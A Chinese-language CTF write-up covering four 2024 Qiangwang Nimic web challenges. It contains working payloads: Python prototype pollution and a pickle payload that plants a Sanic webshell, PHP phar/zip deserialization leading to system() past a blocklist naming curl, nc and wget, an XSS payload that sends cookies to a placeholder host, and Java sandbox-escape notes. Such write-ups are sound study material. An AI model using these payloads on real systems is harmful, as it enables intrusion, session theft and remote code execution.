2024强网拟态 web 
我们A1natas最后获得了第30  感觉没希望进线下了 尽力了
不过开心的是我ak了web方向的题目
 
ez_picker /register存在原型链污染 可以污染任意的黑白名单
这里在register的时候 进行了merge操作 
写个简单的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import  sanicfrom  sanic import  text, Sanic, Request, responsefrom  key import  secret_keyapp = Sanic("test" ) users=[] safe_modules = {     'math' ,     'datetime' ,     'json' ,     'collections'  } safe_names = {     'sqrt' , 'pow' , 'sin' , 'cos' , 'tan' ,     'date' , 'datetime' , 'timedelta' , 'timezone' ,     'loads' , 'dumps' ,     'namedtuple' , 'deque' , 'Counter'  } class  User :    def  __init__ (self, username, password ):         self.username = username         self.password = password def  merge (src, dst ):    for  k, v in  src.items():         if  hasattr (dst, '__getitem__' ):             if  dst.get(k) and  isinstance (v, dict ):                 merge(v, dst.get(k))             else :                 dst[k] = v         elif  hasattr (dst, k) and  isinstance (v, dict ):             merge(v, getattr (dst, k))         else :             setattr (dst, k, v) @app.route('/' , methods=["GET" , "POST" ] async  def  test (request: Request ):         if  not  request.json:         return  response.json({"error" : "Request body must be JSON" }, status=400 )     username = request.json.get("username" )     password = request.json.get("password" )     if  not  username or  not  password:         return  response.json({"error" : "Missing username or password" }, status=400 )     NewUser = User("username" , "password" )     merge(request.json, NewUser)          print (safe_names)     users.append(NewUser)     if  "builtins"  in  safe_modules and  "eval"  in  safe_names:         print ("win" )     return  text("ok" ) if  __name__ == '__main__' :    app.run(host="0.0.0.0" , port=1145 ) 
成功完成污染 这里制空了safe_names
那么我们就可以伪造jwt的key 伪造身份
1 2 3 4 5 6 7 8 9 10 {     "__class__" : {               "__init__" : {                 "__globals__":{                     "secret_key" :"key"                 }             }       }, } 
然后直接伪造就行
成功伪造
这里pickle处理的逻辑很好玩
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @app.route('/upload' , methods=["GET" , "POST" ] @token_required async  def  upload (request ):    if  request.method == "GET" :         return  await  file_('templates/upload.html' )     if  not  request.files:         return  text("No file provided" , status=400 )     file = request.files.get('file' )     file_object = file[0 ] if  isinstance (file, list ) else  file     try :         new_data = restricted_loads(file_object.body)         try :             my_object.update(new_data)         except :             return  json({"status" : "success" , "message" : "Pickle object loaded but not updated" })         with  open (pickle_file, "wb" ) as  f:             pickle.dump(my_object, f)         return  json({"status" : "success" , "message" : "Pickle object updated" })     except  pickle.UnpicklingError:         return  text("Dangerous pickle file" , status=400 ) 
定义了 加载类和方法的 这里设置了白名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 safe_modules = {     'math' ,     'datetime' ,     'json' ,     'collections' , } safe_names = {     'sqrt' , 'pow' , 'sin' , 'cos' , 'tan' ,     'date' , 'datetime' , 'timedelta' , 'timezone' ,     'loads' , 'dumps' ,     'namedtuple' , 'deque' , 'Counter' , 'defaultdict'  } class  RestrictedUnpickler (pickle.Unpickler):    def  find_class (self, module, name ):         if  module in  safe_modules and  name in  safe_names:             return  getattr (builtins, name)         raise  pickle.UnpicklingError("global '%s.%s' is forbidden"  % (module, name)) def  restricted_loads (s ):    return  RestrictedUnpickler(io.BytesIO(s)).load() CORS(app, supports_credentials=True , origins=["http://localhost:8000" , "http://127.0.0.1:8000" ]) 
自己构造一个生成的代码 这里要求从builtins 拿 
直接 
1 builtins.eval(__import__('os').system('cmd')) 
就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import  builtinsimport  pickleimport  iosafe_modules = {     'math' ,     'datetime' ,     'json' ,     'collections'  } safe_names = {     'sqrt' , 'pow' , 'sin' , 'cos' , 'tan' ,     'date' , 'datetime' , 'timedelta' , 'timezone' ,     'loads' , 'dumps' ,     'namedtuple' , 'deque' , 'Counter'  } need_module={'builtins' } need_name={'eval' } class  Exploit :    def  __reduce__ (self ):         return  (builtins.eval , ('calc' ,))  class  RestrictedUnpickler (pickle.Unpickler):    def  find_class (self, module, name ):         print (f"Attempting to load: module='{module} ', name='{name} '" )         safe_names.add(name)         safe_modules.add(module)         need_name.add(name)         need_module.add(module)         if  module in  need_module and  name in  need_name:             return  getattr (builtins, name)         raise  pickle.UnpicklingError("global '%s.%s' is forbidden"  % (module, name)) def  restricted_loads (s ):    return  RestrictedUnpickler(io.BytesIO(s)).load() with  open ("1.bin" ,'wb' ) as  f:    f.write(pickle.dumps(Exploit())) print (need_name)print (need_module)
这里的黑名单 由于可以污染 所以就是随便玩
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 {     "__class__"  :  {                "__init__"  :  {                  "__globals__" : {                      "safe_modules" : [ "builtins" ] ,                      "safe_names"  : [ "eval" ] ,                      "secret_key"  : "key"                  }              }        } ,  } 
然后直接伪造直接打了  上传文件rce 这里打的是sanic内存马
1 2 3 4 class  Exploit :    def  __reduce__ (self ):         return  (builtins.eval , ('app.add_route(lambda request: __import__("os").popen(request.args.get("cmd")).read(),"/shell", methods=["GET"])' ,))    
得到flag
Capoo 存在任意文件读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php class  CapooObj      public  function  __wakeup (      {	$action  = $this ->action; 	$action  = str_replace ("\"" , "" , $action ); 	$action  = str_replace ("\'" , "" , $action ); 	$banlist  = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\	|\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i" ; 	if (preg_match ($banlist , $action )){ 		die ("Not Allowed!" ); 	}         system ($this ->action);     } } header ("Content-type:text/html;charset=utf-8" );if  ($_SERVER ['REQUEST_METHOD' ] === 'POST'  && isset ($_POST ['capoo' ])) {    $file  = $_POST ['capoo' ];          if  (file_exists ($file )) {         $data  = file_get_contents ($file );         $base64  = base64_encode ($data );     } else  if  (substr ($file , 0 , strlen ("http://" )) === "http://" ) {         $data  = file_get_contents ($_POST ['capoo' ] . "/capoo.gif" );         if  (strpos ($data , "PILER" ) !== false ) { 	        die ("Capoo piler not allowed!" );         }         file_put_contents ("capoo_img/capoo.gif" , $data );         die ("Download Capoo OK" );     } else  {         die ('Capoo does not exist.' );     } } else  {     die ('No capoo provided.' ); } ?> <!DOCTYPE html> <html>   <head>     <title>Display Capoo</title>   </head>   <body>     <img style='display:block; width:100px;height:100px;'  id='base64image'         src='data:image/gif;base64, <?php echo $base64;?>'  />   </body> </html> 
得到源代码
可以构造phar包 然后打 
注意到这里给PILER 过滤了 可以简单的zip绕过一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class CapooObj {     public $action; //    public function __wakeup() //    { //        $action = $this->action; //        $action = str_replace("\"", "", $action); //        $action = str_replace("\'", "", $action); //        $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\	|\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i"; //        if(preg_match($banlist, $action)){ //            die("Not Allowed!"); //        } //        system($this->action); //    } } $paylaod = new CapooObj(); $paylaod->action = "find / > 2"; // //$phar = new Phar('phar.phar'); //$phar -> stopBuffering(); /*$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//伪造为gif*/ //$phar -> addFromString('text.txt','test'); //$phar -> setMetadata($paylaod);//object是入口 //$phar -> stopBuffering(); $phar_file = serialize($paylaod); echo $phar_file; $zip = new ZipArchive(); $res = $zip->open('1.zip',ZipArchive::CREATE); $zip->addFromString('crispr.txt', 'file content goes here'); $zip->setArchiveComment($phar_file); $zip->close(); 
上传打就行 
成功拿到 然后phar解析触发链子 得到目录
读取到flag
Spreader 
第一眼 好厉害的过滤 第二眼 欸 image呢
1 <img src="invalid.jpg" onerror=document.location='http://url:port?cookie'+document.cookie /> 
然后带着cookies上去就行了
这题看到别人的wp 还可以直接读取flag 不过fetch时间比较短 需要看运气
OnlineRunner 可以执行任意的java代码 但是要绕过rasp
gpt跑一份payload遍历和读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 java.lang.String  directoryPath  =  "/home/ctf/sandbox" ;         java.io.File  folder  =  new  java .io.File(directoryPath);        if  (folder.exists() && folder.isDirectory()) {            java.io.File[] files = folder.listFiles();            if  (files != null ) {                for  (java.io.File file : files) {                java.lang.System.out.println((file.isDirectory() ? "[DIR] "  : "[FILE] " ) + file.getName() + " "  + permissions);                }            } else  {                java.lang.System.out.println("该目录是空的!" );            }        } else  {            java.lang.System.out.println("目录不存在或不是有效的目录!" );        }    } 
读取到agent.jar jadx干一下
这个是一个alibaba.jvm sandbox 这个东西  网上文档里面 可以使用webui去关闭
先读取webui的端口 然后用代码去访问关闭
gpt代码跑一下
弹shell 
这题可以使用unsafe绕过jdk17限制 然后加载任意字节码 应该是可以关掉这个rasp的 不过没细搞 再说吧
 
后记